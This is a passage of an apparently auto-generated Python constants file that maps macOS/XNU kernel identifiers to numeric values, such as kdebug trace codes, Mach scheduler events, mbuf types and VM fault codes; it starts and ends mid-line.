Constant('STA_PPSERROR',0x0800)\nSTA_CLOCKERR = Constant('STA_CLOCKERR',0x1000)\nSTA_NANO = Constant('STA_NANO',0x2000)\nSTA_MODE = Constant('STA_MODE',0x4000)\nSTA_CLK = Constant('STA_CLK',0x8000)\nTIME_OK = Constant('TIME_OK',0)\nTIME_INS = Constant('TIME_INS',1)\nTIME_DEL = Constant('TIME_DEL',2)\nTIME_OOP = Constant('TIME_OOP',3)\nTIME_WAIT = Constant('TIME_WAIT',4)\nTIME_ERROR = Constant('TIME_ERROR',5)\nMT_FREE = Constant('MT_FREE',0)\nMT_DATA = Constant('MT_DATA',1)\nMT_HEADER = Constant('MT_HEADER',2)\nMT_SOCKET = Constant('MT_SOCKET',3)\nMT_PCB = Constant('MT_PCB',4)\nMT_RTABLE = Constant('MT_RTABLE',5)\nMT_HTABLE = Constant('MT_HTABLE',6)\nMT_ATABLE = Constant('MT_ATABLE',7)\nMT_SONAME = Constant('MT_SONAME',8)\nMT_SOOPTS = Constant('MT_SOOPTS',10)\nMT_FTABLE = Constant('MT_FTABLE',11)\nMT_RIGHTS = Constant('MT_RIGHTS',12)\nMT_IFADDR = Constant('MT_IFADDR',13)\nMT_CONTROL = Constant('MT_CONTROL',14)\nMT_OOBDATA = Constant('MT_OOBDATA',15)\nMT_TAG = Constant('MT_TAG',16)\nMT_MAX = Constant('MT_MAX',32)\nMAX_MBUF_CNAME = Constant('MAX_MBUF_CNAME',15)\nMCS_DISABLED = Constant('MCS_DISABLED',0)\nMCS_ONLINE = Constant('MCS_ONLINE',1)\nMCS_PURGING = Constant('MCS_PURGING',2)\nMCS_OFFLINE = Constant('MCS_OFFLINE',3)\nMSG_NOERROR = Constant('MSG_NOERROR',0o010000)\nMSGSSZ = Constant('MSGSSZ',8)\nMSGSEG = Constant('MSGSEG',2048)\nMSGMNB = Constant('MSGMNB',2048)\nMSGMNI = Constant('MSGMNI',40)\nMSGTQL = Constant('MSGTQL',40)\nMSG_LOCKED = Constant('MSG_LOCKED',0o01000)\nDBG_MACH = Constant('DBG_MACH',1)\nDBG_NETWORK = Constant('DBG_NETWORK',2)\nDBG_FSYSTEM = Constant('DBG_FSYSTEM',3)\nDBG_BSD = Constant('DBG_BSD',4)\nDBG_IOKIT = Constant('DBG_IOKIT',5)\nDBG_DRIVERS = Constant('DBG_DRIVERS',6)\nDBG_TRACE = Constant('DBG_TRACE',7)\nDBG_DLIL = Constant('DBG_DLIL',8)\nDBG_PTHREAD = Constant('DBG_PTHREAD',9)\nDBG_CORESTORAGE = Constant('DBG_CORESTORAGE',10)\nDBG_CG = Constant('DBG_CG',11)\nDBG_MONOTONIC = Constant('DBG_MONOTONIC',12)\nDBG_MISC = Constant('DBG_MISC',20)\nDBG_SECURITY = Constant('DBG_SECURITY',30)\nDBG_DYLD = Constant('DBG_DYLD',31)\nDBG_QT = Constant('DBG_QT',32)\nDBG_APPS = Constant('DBG_APPS',33)\nDBG_LAUNCHD = Constant('DBG_LAUNCHD',34)\nDBG_SILICON = Constant('DBG_SILICON',35)\nDBG_PERF = Constant('DBG_PERF',37)\nDBG_IMPORTANCE = Constant('DBG_IMPORTANCE',38)\nDBG_BANK = Constant('DBG_BANK',40)\nDBG_XPC = Constant('DBG_XPC',41)\nDBG_ATM = Constant('DBG_ATM',42)\nDBG_ARIADNE = Constant('DBG_ARIADNE',43)\nDBG_DAEMON = Constant('DBG_DAEMON',44)\nDBG_ENERGYTRACE = Constant('DBG_ENERGYTRACE',45)\nDBG_DISPATCH = Constant('DBG_DISPATCH',46)\nDBG_IMG = Constant('DBG_IMG',49)\nDBG_UMALLOC = Constant('DBG_UMALLOC',51)\nDBG_TURNSTILE = Constant('DBG_TURNSTILE',53)\nDBG_AUDIO = Constant('DBG_AUDIO',54)\nDBG_MIG = Constant('DBG_MIG',255)\nDBG_MACH_EXCP_KTRAP_x86 = Constant('DBG_MACH_EXCP_KTRAP_x86',0x02)\nDBG_MACH_EXCP_DFLT = Constant('DBG_MACH_EXCP_DFLT',0x03)\nDBG_MACH_EXCP_SYNC_ARM = Constant('DBG_MACH_EXCP_SYNC_ARM',0x03)\nDBG_MACH_EXCP_IFLT = Constant('DBG_MACH_EXCP_IFLT',0x04)\nDBG_MACH_EXCP_SERR_ARM = Constant('DBG_MACH_EXCP_SERR_ARM',0x04)\nDBG_MACH_EXCP_INTR = Constant('DBG_MACH_EXCP_INTR',0x05)\nDBG_MACH_EXCP_ALNG = Constant('DBG_MACH_EXCP_ALNG',0x06)\nDBG_MACH_EXCP_UTRAP_x86 = Constant('DBG_MACH_EXCP_UTRAP_x86',0x07)\nDBG_MACH_EXCP_FP = Constant('DBG_MACH_EXCP_FP',0x08)\nDBG_MACH_EXCP_DECI = Constant('DBG_MACH_EXCP_DECI',0x09)\nDBG_MACH_CHUD = Constant('DBG_MACH_CHUD',0x0A)\nDBG_MACH_SIGNPOST = Constant('DBG_MACH_SIGNPOST',0x0A)\nDBG_MACH_EXCP_SC = Constant('DBG_MACH_EXCP_SC',0x0C)\nDBG_MACH_EXCP_TRACE = Constant('DBG_MACH_EXCP_TRACE',0x0D)\nDBG_MACH_EXCP_EMUL = Constant('DBG_MACH_EXCP_EMUL',0x0E)\nDBG_MACH_IHDLR = Constant('DBG_MACH_IHDLR',0x10)\nDBG_MACH_IPC = Constant('DBG_MACH_IPC',0x20)\nDBG_MACH_RESOURCE = Constant('DBG_MACH_RESOURCE',0x25)\nDBG_MACH_EXCLAVES = Constant('DBG_MACH_EXCLAVES',0x2A)\nDBG_MACH_EXCLAVES_SCHEDULER = Constant('DBG_MACH_EXCLAVES_SCHEDULER',0x2B)\nDBG_MACH_EPOCH_SYNC = Constant('DBG_MACH_EPOCH_SYNC',0x2C)\nDBG_MACH_VM = Constant('DBG_MACH_VM',0x30)\nDBG_MACH_LEAKS = Constant('DBG_MACH_LEAKS',0x31)\nDBG_MACH_WORKINGSET = Constant('DBG_MACH_WORKINGSET',0x32)\nDBG_MACH_SCHED = Constant('DBG_MACH_SCHED',0x40)\nDBG_MACH_MSGID_INVALID = Constant('DBG_MACH_MSGID_INVALID',0x50)\nDBG_MACH_LOCKS = Constant('DBG_MACH_LOCKS',0x60)\nDBG_MACH_PMAP = Constant('DBG_MACH_PMAP',0x70)\nDBG_MACH_CLOCK = Constant('DBG_MACH_CLOCK',0x80)\nDBG_MACH_MP = Constant('DBG_MACH_MP',0x90)\nDBG_MACH_VM_PRESSURE = Constant('DBG_MACH_VM_PRESSURE',0xA0)\nDBG_MACH_STACKSHOT = Constant('DBG_MACH_STACKSHOT',0xA1)\nDBG_MACH_SFI = Constant('DBG_MACH_SFI',0xA2)\nDBG_MACH_ENERGY_PERF = Constant('DBG_MACH_ENERGY_PERF',0xA3)\nDBG_MACH_SYSDIAGNOSE = Constant('DBG_MACH_SYSDIAGNOSE',0xA4)\nDBG_MACH_ZALLOC = Constant('DBG_MACH_ZALLOC',0xA5)\nDBG_MACH_THREAD_GROUP = Constant('DBG_MACH_THREAD_GROUP',0xA6)\nDBG_MACH_COALITION = Constant('DBG_MACH_COALITION',0xA7)\nDBG_MACH_SHAREDREGION = Constant('DBG_MACH_SHAREDREGION',0xA8)\nDBG_MACH_SCHED_CLUTCH = Constant('DBG_MACH_SCHED_CLUTCH',0xA9)\nDBG_MACH_IO = Constant('DBG_MACH_IO',0xAA)\nDBG_MACH_WORKGROUP = Constant('DBG_MACH_WORKGROUP',0xAB)\nDBG_MACH_HV = Constant('DBG_MACH_HV',0xAC)\nDBG_MACH_KCOV = Constant('DBG_MACH_KCOV',0xAD)\nDBG_MACH_MACHDEP_EXCP_SC_x86 = Constant('DBG_MACH_MACHDEP_EXCP_SC_x86',0xAE)\nDBG_MACH_MACHDEP_EXCP_SC_ARM = Constant('DBG_MACH_MACHDEP_EXCP_SC_ARM',0xAF)\nDBG_MACH_VM_RECLAIM = Constant('DBG_MACH_VM_RECLAIM',0xB0)\nDBC_MACH_IO_MMIO_READ = Constant('DBC_MACH_IO_MMIO_READ',0x1)\nDBC_MACH_IO_MMIO_WRITE = Constant('DBC_MACH_IO_MMIO_WRITE',0x2)\nDBC_MACH_IO_PHYS_READ = Constant('DBC_MACH_IO_PHYS_READ',0x3)\nDBC_MACH_IO_PHYS_WRITE = Constant('DBC_MACH_IO_PHYS_WRITE',0x4)\nDBC_MACH_IO_PORTIO_READ = Constant('DBC_MACH_IO_PORTIO_READ',0x5)\nDBC_MACH_IO_PORTIO_WRITE = Constant('DBC_MACH_IO_PORTIO_WRITE',0x6)\nDBG_INTR_TYPE_UNKNOWN = Constant('DBG_INTR_TYPE_UNKNOWN',0x0)\nDBG_INTR_TYPE_IPI = Constant('DBG_INTR_TYPE_IPI',0x1)\nDBG_INTR_TYPE_TIMER = Constant('DBG_INTR_TYPE_TIMER',0x2)\nDBG_INTR_TYPE_OTHER = Constant('DBG_INTR_TYPE_OTHER',0x3)\nDBG_INTR_TYPE_PMI = Constant('DBG_INTR_TYPE_PMI',0x4)\nDBG_INTR_TYPE_RSVD1 = Constant('DBG_INTR_TYPE_RSVD1',0x5)\nMACH_SCHED = Constant('MACH_SCHED',0x0)\nMACH_STACK_ATTACH = Constant('MACH_STACK_ATTACH',0x1)\nMACH_STACK_HANDOFF = Constant('MACH_STACK_HANDOFF',0x2)\nMACH_CALL_CONT = Constant('MACH_CALL_CONT',0x3)\nMACH_CALLOUT = Constant('MACH_CALLOUT',0x4)\nMACH_STACK_DETACH = Constant('MACH_STACK_DETACH',0x5)\nMACH_MAKE_RUNNABLE = Constant('MACH_MAKE_RUNNABLE',0x6)\nMACH_PROMOTE = Constant('MACH_PROMOTE',0x7)\nMACH_DEMOTE = Constant('MACH_DEMOTE',0x8)\nMACH_IDLE = Constant('MACH_IDLE',0x9)\nMACH_STACK_DEPTH = Constant('MACH_STACK_DEPTH',0xa)\nMACH_MOVED = Constant('MACH_MOVED',0xb)\nMACH_PSET_LOAD_AVERAGE = Constant('MACH_PSET_LOAD_AVERAGE',0xc)\nMACH_AMP_DEBUG = Constant('MACH_AMP_DEBUG',0xd)\nMACH_FAILSAFE = Constant('MACH_FAILSAFE',0xe)\nMACH_BLOCK = Constant('MACH_BLOCK',0xf)\nMACH_WAIT = Constant('MACH_WAIT',0x10)\nMACH_GET_URGENCY = Constant('MACH_GET_URGENCY',0x14)\nMACH_URGENCY = Constant('MACH_URGENCY',0x15)\nMACH_REDISPATCH = Constant('MACH_REDISPATCH',0x16)\nMACH_REMOTE_AST = Constant('MACH_REMOTE_AST',0x17)\nMACH_SCHED_CHOOSE_PROCESSOR = Constant('MACH_SCHED_CHOOSE_PROCESSOR',0x18)\nMACH_DEEP_IDLE = Constant('MACH_DEEP_IDLE',0x19)\nMACH_CPU_THROTTLE_DISABLE = Constant('MACH_CPU_THROTTLE_DISABLE',0x1b)\nMACH_RW_PROMOTE = Constant('MACH_RW_PROMOTE',0x1c)\nMACH_RW_DEMOTE = Constant('MACH_RW_DEMOTE',0x1d)\nMACH_SCHED_MAINTENANCE = Constant('MACH_SCHED_MAINTENANCE',0x1f)\nMACH_DISPATCH = Constant('MACH_DISPATCH',0x20)\nMACH_QUANTUM_HANDOFF = Constant('MACH_QUANTUM_HANDOFF',0x21)\nMACH_SCHED_THREAD_SWITCH = Constant('MACH_SCHED_THREAD_SWITCH',0x23)\nMACH_SCHED_SMT_BALANCE = Constant('MACH_SCHED_SMT_BALANCE',0x24)\nMACH_REMOTE_DEFERRED_AST = Constant('MACH_REMOTE_DEFERRED_AST',0x25)\nMACH_REMOTE_CANCEL_AST = Constant('MACH_REMOTE_CANCEL_AST',0x26)\nMACH_SCHED_CHANGE_PRIORITY = Constant('MACH_SCHED_CHANGE_PRIORITY',0x27)\nMACH_SCHED_UPDATE_REC_CORES = Constant('MACH_SCHED_UPDATE_REC_CORES',0x28)\nMACH_STACK_WAIT = Constant('MACH_STACK_WAIT',0x29)\nMACH_THREAD_BIND = Constant('MACH_THREAD_BIND',0x2a)\nMACH_WAITQ_PROMOTE = Constant('MACH_WAITQ_PROMOTE',0x2b)\nMACH_WAITQ_DEMOTE = Constant('MACH_WAITQ_DEMOTE',0x2c)\nMACH_SCHED_LOAD = Constant('MACH_SCHED_LOAD',0x2d)\nMACH_REC_CORES_FAILSAFE = Constant('MACH_REC_CORES_FAILSAFE',0x2e)\nMACH_SCHED_QUANTUM_EXPIRED = Constant('MACH_SCHED_QUANTUM_EXPIRED',0x2f)\nMACH_EXEC_PROMOTE = Constant('MACH_EXEC_PROMOTE',0x30)\nMACH_EXEC_DEMOTE = Constant('MACH_EXEC_DEMOTE',0x31)\nMACH_AMP_SIGNAL_SPILL = Constant('MACH_AMP_SIGNAL_SPILL',0x32)\nMACH_AMP_STEAL = Constant('MACH_AMP_STEAL',0x33)\nMACH_SCHED_LOAD_EFFECTIVE = Constant('MACH_SCHED_LOAD_EFFECTIVE',0x34)\nMACH_QUIESCENT_COUNTER = Constant('MACH_QUIESCENT_COUNTER',0x38)\nMACH_TURNSTILE_USER_CHANGE = Constant('MACH_TURNSTILE_USER_CHANGE',0x39)\nMACH_AMP_RECOMMENDATION_CHANGE = Constant('MACH_AMP_RECOMMENDATION_CHANGE',0x3a)\nMACH_AMP_PERFCTL_POLICY_CHANGE = Constant('MACH_AMP_PERFCTL_POLICY_CHANGE',0x3b)\nMACH_TURNSTILE_KERNEL_CHANGE = Constant('MACH_TURNSTILE_KERNEL_CHANGE',0x40)\nMACH_SCHED_WI_AUTO_JOIN = Constant('MACH_SCHED_WI_AUTO_JOIN',0x41)\nMACH_SCHED_WI_DEFERRED_FINISH = Constant('MACH_SCHED_WI_DEFERRED_FINISH',0x42)\nMACH_SET_RT_DEADLINE = Constant('MACH_SET_RT_DEADLINE',0x43)\nMACH_CANCEL_RT_DEADLINE = Constant('MACH_CANCEL_RT_DEADLINE',0x44)\nMACH_RT_SIGNAL_SPILL = Constant('MACH_RT_SIGNAL_SPILL',0x45)\nMACH_RT_STEAL = Constant('MACH_RT_STEAL',0x46)\nMACH_PENDING_AST_URGENT = Constant('MACH_PENDING_AST_URGENT',0x47)\nMACH_SCHED_THREAD_SELECT = Constant('MACH_SCHED_THREAD_SELECT',0x48)\nMACH_SCHED_NEXT_PROCESSOR = Constant('MACH_SCHED_NEXT_PROCESSOR',0x49)\nMACH_PSET_AVG_EXEC_TIME = Constant('MACH_PSET_AVG_EXEC_TIME',0x50)\nMACH_SUSPEND_USERSPACE = Constant('MACH_SUSPEND_USERSPACE',0x51)\nMACH_PREEMPTION_EXPIRED = Constant('MACH_PREEMPTION_EXPIRED',0x52)\nMACH_FLOOR_PROMOTE = Constant('MACH_FLOOR_PROMOTE',0x53)\nMACH_FLOOR_DEMOTE = Constant('MACH_FLOOR_DEMOTE',0x54)\nMACH_INT_MASKED_EXPIRED = Constant('MACH_INT_MASKED_EXPIRED',0x55)\nMACH_INT_HANDLED_EXPIRED = Constant('MACH_INT_HANDLED_EXPIRED',0x56)\nMACH_UPDATE_POWERED_CORES = Constant('MACH_UPDATE_POWERED_CORES',0x58)\nMACH_MODE_DEMOTE_THROTTLED = Constant('MACH_MODE_DEMOTE_THROTTLED',0x59)\nMACH_MODE_DEMOTE_FAILSAFE = Constant('MACH_MODE_DEMOTE_FAILSAFE',0x5a)\nMACH_MODE_DEMOTE_RT_DISALLOWED = Constant('MACH_MODE_DEMOTE_RT_DISALLOWED',0x5b)\nMACH_MODE_UNDEMOTE_THROTTLED = Constant('MACH_MODE_UNDEMOTE_THROTTLED',0x5c)\nMACH_MODE_UNDEMOTE_FAILSAFE = Constant('MACH_MODE_UNDEMOTE_FAILSAFE',0x5d)\nMACH_MODE_UNDEMOTE_RT_DISALLOWED = Constant('MACH_MODE_UNDEMOTE_RT_DISALLOWED',0x5e)\nMACH_INT_MASKED_RESET = Constant('MACH_INT_MASKED_RESET',0x5f)\nMACH_RT_DISALLOWED_WORK_INTERVAL = Constant('MACH_RT_DISALLOWED_WORK_INTERVAL',0x60)\nMACH_SCHED_WI_EXTERNAL_WAKEUP = Constant('MACH_SCHED_WI_EXTERNAL_WAKEUP',0x61)\nMACH_SCHED_AST_CHECK = Constant('MACH_SCHED_AST_CHECK',0x62)\nMACH_SCHED_PREEMPT_TIMER_ACTIVE = Constant('MACH_SCHED_PREEMPT_TIMER_ACTIVE',0x63)\nMACH_PROCESSOR_SHUTDOWN = Constant('MACH_PROCESSOR_SHUTDOWN',0x64)\nMACH_SCHED_CLUTCH_ROOT_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE',0x0)\nMACH_SCHED_CLUTCH_TG_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_STATE',0x1)\nMACH_SCHED_CLUTCH_THREAD_SELECT = Constant('MACH_SCHED_CLUTCH_THREAD_SELECT',0x2)\nMACH_SCHED_CLUTCH_THREAD_STATE = Constant('MACH_SCHED_CLUTCH_THREAD_STATE',0x3)\nMACH_SCHED_CLUTCH_TG_BUCKET_PRI = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_PRI',0x4)\nMACH_SCHED_EDGE_CLUSTER_OVERLOAD = Constant('MACH_SCHED_EDGE_CLUSTER_OVERLOAD',0x5)\nMACH_SCHED_EDGE_STEAL = Constant('MACH_SCHED_EDGE_STEAL',0x6)\nMACH_SCHED_EDGE_REBAL_RUNNABLE = Constant('MACH_SCHED_EDGE_REBAL_RUNNABLE',0x7)\nMACH_SCHED_EDGE_REBAL_RUNNING = Constant('MACH_SCHED_EDGE_REBAL_RUNNING',0x8)\nMACH_SCHED_EDGE_SHOULD_YIELD = Constant('MACH_SCHED_EDGE_SHOULD_YIELD',0x9)\nMACH_SCHED_CLUTCH_THR_COUNT = Constant('MACH_SCHED_CLUTCH_THR_COUNT',0xa)\nMACH_SCHED_EDGE_LOAD_AVG = Constant('MACH_SCHED_EDGE_LOAD_AVG',0xb)\nMACH_SCHED_EDGE_CLUSTER_SHARED_LOAD = Constant('MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD',0xc)\nMACH_SCHED_EDGE_RSRC_HEAVY_THREAD = Constant('MACH_SCHED_EDGE_RSRC_HEAVY_THREAD',0xd)\nMACH_SCHED_EDGE_SHARED_RSRC_MIGRATE = Constant('MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE',0xe)\nWORKGROUP_INTERVAL_CREATE = Constant('WORKGROUP_INTERVAL_CREATE',0x0)\nWORKGROUP_INTERVAL_DESTROY = Constant('WORKGROUP_INTERVAL_DESTROY',0x1)\nWORKGROUP_INTERVAL_CHANGE = Constant('WORKGROUP_INTERVAL_CHANGE',0x2)\nWORKGROUP_INTERVAL_START = Constant('WORKGROUP_INTERVAL_START',0x3)\nWORKGROUP_INTERVAL_UPDATE = Constant('WORKGROUP_INTERVAL_UPDATE',0x4)\nWORKGROUP_INTERVAL_FINISH = Constant('WORKGROUP_INTERVAL_FINISH',0x5)\nWORKGROUP_INTERVAL_SET_WORKLOAD_ID = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID',0x6)\nWORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME',0x7)\nKCOV_STKSZ_THRESHOLD_ABOVE = Constant('KCOV_STKSZ_THRESHOLD_ABOVE',0x0)\nKCOV_STKSZ_THRESHOLD_BELOW = Constant('KCOV_STKSZ_THRESHOLD_BELOW',0x1)\nDBG_VM_VNODE_PAGEOUT = Constant('DBG_VM_VNODE_PAGEOUT',0x001)\nDBG_VM_FAULT_INTERNAL = Constant('DBG_VM_FAULT_INTERNAL',0x002)\nDBG_VM_PURGEABLE_TOKEN_ADD = Constant('DBG_VM_PURGEABLE_TOKEN_ADD',0x040)\nDBG_VM_PURGEABLE_TOKEN_DELETE = Constant('DBG_VM_PURGEABLE_TOKEN_DELETE',0x041)\nDBG_VM_PURGEABLE_TOKEN_RIPEN = Constant('DBG_VM_PURGEABLE_TOKEN_RIPEN',0x042)\nDBG_VM_PURGEABLE_OBJECT_ADD = Constant('DBG_VM_PURGEABLE_OBJECT_ADD',0x048)\nDBG_VM_PURGEABLE_OBJECT_REMOVE = Constant('DBG_VM_PURGEABLE_OBJECT_REMOVE',0x049)\nDBG_VM_PURGEABLE_OBJECT_PURGE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE',0x04a)\nDBG_VM_PURGEABLE_OBJECT_PURGE_ALL = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ALL',0x04b)\nDBG_VM_PURGEABLE_OBJECT_PURGE_ONE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ONE',0x04c)\nDBG_VM_PURGEABLE_OBJECT_PURGE_LOOP = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP',0x04e)\nDBG_VM_MAP_PARTIAL_REAP = Constant('DBG_VM_MAP_PARTIAL_REAP',0x054)\nDBG_VM_MAP_WILLNEED = Constant('DBG_VM_MAP_WILLNEED',0x055)\nDBG_VM_FAULT_CHECK_ZFDELAY = Constant('DBG_VM_FAULT_CHECK_ZFDELAY',0x100)\nDBG_VM_FAULT_COWDELAY = Constant('DBG_VM_FAULT_COWDELAY',0x101)\nDBG_VM_FAULT_ZFDELAY = Constant('DBG_VM_FAULT_ZFDELAY',0x102)\nDBG_VM_FAULT_COMPRESSORDELAY = Constant('DBG_VM_FAULT_COMPRESSORDELAY',0x103)\nDBG_VM_PAGEOUT_SCAN = Constant('DBG_VM_PAGEOUT_SCAN',0x104)\nDBG_VM_PAGEOUT_BALANCE = Constant('DBG_VM_PAGEOUT_BALANCE',0x105)\nDBG_VM_PAGEOUT_FREELIST = Constant('DBG_VM_PAGEOUT_FREELIST',0x106)\nDBG_VM_PAGEOUT_PURGEONE = Constant('DBG_VM_PAGEOUT_PURGEONE',0x107)\nDBG_VM_PAGEOUT_CACHE_EVICT = Constant('DBG_VM_PAGEOUT_CACHE_EVICT',0x108)\nDBG_VM_PAGEOUT_THREAD_BLOCK = Constant('DBG_VM_PAGEOUT_THREAD_BLOCK',0x109)\nDBG_VM_PAGEOUT_JETSAM = Constant('DBG_VM_PAGEOUT_JETSAM',0x10A)\nDBG_VM_INFO1 = Constant('DBG_VM_INFO1',0x10B)\nDBG_VM_INFO2 = Constant('DBG_VM_INFO2',0x10C)\nDBG_VM_INFO3 = Constant('DBG_VM_INFO3',0x10D)\nDBG_VM_INFO4 = Constant('DBG_VM_INFO4',0x10E)\nDBG_VM_INFO5 = Constant('DBG_VM_INFO5',0x10F)\nDBG_VM_INFO6 = Constant('DBG_VM_INFO6',0x110)\nDBG_VM_INFO7 = Constant('DBG_VM_INFO7',0x111)\nDBG_VM_INFO8 = Constant('DBG_VM_INFO8',0x112)\nDBG_VM_INFO9 = Constant('DBG_VM_INFO9',0x113)\nDBG_VM_INFO10 = Constant('DBG_VM_INFO10',0x114)\nDBG_VM_UPL_PAGE_WAIT = Constant('DBG_VM_UPL_PAGE_WAIT',0x120)\nDBG_VM_IOPL_PAGE_WAIT = Constant('DBG_VM_IOPL_PAGE_WAIT',0x121)\nDBG_VM_PAGE_WAIT_BLOCK = Constant('DBG_VM_PAGE_WAIT_BLOCK',0x122)\nDBG_VM_PAGE_SLEEP = Constant('DBG_VM_PAGE_SLEEP',0x123)\nDBG_VM_PAGE_EXPEDITE = Constant('DBG_VM_PAGE_EXPEDITE',0x124)\nDBG_VM_PAGE_EXPEDITE_NO_MEMORY = Constant('DBG_VM_PAGE_EXPEDITE_NO_MEMORY',0x125)\nDBG_VM_PAGE_GRAB = Constant('DBG_VM_PAGE_GRAB',0x126)\nDBG_VM_PAGE_RELEASE = Constant('DBG_VM_PAGE_RELEASE',0x127)\nDBG_VM_COMPRESSOR_COMPACT_AND_SWAP = Constant('DBG_VM_COMPRESSOR_COMPACT_AND_SWAP',0x128)\nDBG_VM_COMPRESSOR_DELAYED_COMPACT = Constant('DBG_VM_COMPRESSOR_DELAYED_COMPACT',0x129)\nDBG_VM_OBJECT_SLEEP = Constant('DBG_VM_OBJECT_SLEEP',0x12a)\nDBG_VM_PAGE_WAKEUP = Constant('DBG_VM_PAGE_WAKEUP',0x12b)\nDBG_VM_PAGE_WAKEUP_DONE = Constant('DBG_VM_PAGE_WAKEUP_DONE',0x12c)\nDBG_VM_PRESSURE_EVENT = Constant('DBG_VM_PRESSURE_EVENT',0x130)\nDBG_VM_EXECVE = Constant('DBG_VM_EXECVE',0x131)\nDBG_VM_WAKEUP_COMPACTOR_SWAPPER = Constant('DBG_VM_WAKEUP_COMPACTOR_SWAPPER',0x132)\nDBG_VM_UPL_REQUEST = Constant('DBG_VM_UPL_REQUEST',0x133)\nDBG_VM_IOPL_REQUEST = Constant('DBG_VM_IOPL_REQUEST',0x134)\nDBG_VM_KERN_REQUEST = Constant('DBG_VM_KERN_REQUEST',0x135)\nDBG_VM_DATA_WRITE = Constant('DBG_VM_DATA_WRITE',0x140)\nDBG_VM_PRESSURE_LEVEL_CHANGE = Constant('DBG_VM_PRESSURE_LEVEL_CHANGE',0x141)\nDBG_VM_PHYS_WRITE_ACCT = Constant('DBG_VM_PHYS_WRITE_ACCT',0x142)\nDBG_VM_MAP_LOOKUP_ENTRY_FAILURE = Constant('DBG_VM_MAP_LOOKUP_ENTRY_FAILURE',0x143)\nVM_DISCONNECT_ALL_PAGE_MAPPINGS = Constant('VM_DISCONNECT_ALL_PAGE_MAPPINGS',0x00)\nVM_DISCONNECT_TASK_PAGE_MAPPINGS = Constant('VM_DISCONNECT_TASK_PAGE_MAPPINGS',0x01)\nVM_REAL_FAULT_ADDR_INTERNAL = Constant('VM_REAL_FAULT_ADDR_INTERNAL',0x02)\nVM_REAL_FAULT_ADDR_PURGABLE = Constant('VM_REAL_FAULT_ADDR_PURGABLE',0x03)\nVM_REAL_FAULT_ADDR_EXTERNAL = Constant('VM_REAL_FAULT_ADDR_EXTERNAL',0x04)\nVM_REAL_FAULT_ADDR_SHAREDCACHE = Constant('VM_REAL_FAULT_ADDR_SHAREDCACHE',0x05)\nVM_REAL_FAULT_FAST = Constant('VM_REAL_FAULT_FAST',0x06)\nVM_REAL_FAULT_SLOW = Constant('VM_REAL_FAULT_SLOW',0x07)\nVM_MAP_LOOKUP_OBJECT = Constant('VM_MAP_LOOKUP_OBJECT',0x08)\nDBG_ZERO_FILL_FAULT = Constant('DBG_ZERO_FILL_FAULT',0x01)\nDBG_PAGEIN_FAULT = Constant('DBG_PAGEIN_FAULT',0x02)\nDBG_COW_FAULT = Constant('DBG_COW_FAULT',0x03)\nDBG_CACHE_HIT_FAULT = Constant('DBG_CACHE_HIT_FAULT',0x04)\nDBG_NZF_PAGE_FAULT = Constant('DBG_NZF_PAGE_FAULT',0x05)\nDBG_GUARD_FAULT = Constant('DBG_GUARD_FAULT',0x06)\nDBG_PAGEINV_FAULT = Constant('DBG_PAGEINV_FAULT',0x07)\nDBG_PAGEIND_FAULT = Constant('DBG_PAGEIND_FAULT',0x08)\nDBG_COMPRESSOR_FAULT = Constant('DBG_COMPRESSOR_FAULT',0x09)\nDBG_COMPRESSOR_SWAPIN_FAULT = Constant('DBG_COMPRESSOR_SWAPIN_FAULT',0x0a)\nDBG_COR_FAULT = Constant('DBG_COR_FAULT',0x0b)\nMACH_TASK_SUSPEND = Constant('MACH_TASK_SUSPEND',0x0)\nMACH_TASK_RESUME = Constant('MACH_TASK_RESUME',0x1)\nMACH_THREAD_SET_VOUCHER = Constant('MACH_THREAD_SET_VOUCHER',0x2)\nMACH_IPC_MSG_SEND = Constant('MACH_IPC_MSG_SEND',0x3)\nMACH_IPC_MSG_RECV = Constant('MACH_IPC_MSG_RECV',0x4)\nMACH_IPC_MSG_RECV_VOUCHER_REFUSED = Constant('MACH_IPC_MSG_RECV_VOUCHER_REFUSED',0x5)\nMACH_IPC_KMSG_FREE = Constant('MACH_IPC_KMSG_FREE',0x6)\nMACH_IPC_VOUCHER_CREATE = Constant('MACH_IPC_VOUCHER_CREATE',0x7)\nMACH_IPC_VOUCHER_CREATE_ATTR_DATA = Constant('MACH_IPC_VOUCHER_CREATE_ATTR_DATA',0x8)\nMACH_IPC_VOUCHER_DESTROY = Constant('MACH_IPC_VOUCHER_DESTROY',0x9)\nMACH_IPC_KMSG_INFO = Constant('MACH_IPC_KMSG_INFO',0xa)\nMACH_IPC_KMSG_LINK = Constant('MACH_IPC_KMSG_LINK',0xb)\nMACH_IPC_PORT_ENTRY_MODIFY = Constant('MACH_IPC_PORT_ENTRY_MODIFY',0xc)\nMACH_IPC_DESTROY_GUARDED_DESC = Constant('MACH_IPC_DESTROY_GUARDED_DESC',0xd)\nMACH_THREAD_SUSPEND = Constant('MACH_THREAD_SUSPEND',0xe)\nMACH_THREAD_RESUME = Constant('MACH_THREAD_RESUME',0xf)\nMACH_EXCLAVES_SWITCH = Constant('MACH_EXCLAVES_SWITCH',0x0)\nMACH_EXCLAVES_XNUPROXY = Constant('MACH_EXCLAVES_XNUPROXY',0x1)\nMACH_EXCLAVES_RPC = Constant('MACH_EXCLAVES_RPC',0x2)\nMACH_EXCLAVES_UPCALL = Constant('MACH_EXCLAVES_UPCALL',0x3)\nMACH_EXCLAVES_BOOT_TASK = Constant('MACH_EXCLAVES_BOOT_TASK',0x4)\nMACH_EXCLAVES_SCHEDULER_YIELD = Constant('MACH_EXCLAVES_SCHEDULER_YIELD',0x0)\nMACH_EXCLAVES_SCHEDULER_SPAWNED = Constant('MACH_EXCLAVES_SCHEDULER_SPAWNED',0x1)\nMACH_EXCLAVES_SCHEDULER_TERMINATED = Constant('MACH_EXCLAVES_SCHEDULER_TERMINATED',0x2)\nMACH_EXCLAVES_SCHEDULER_WAIT = 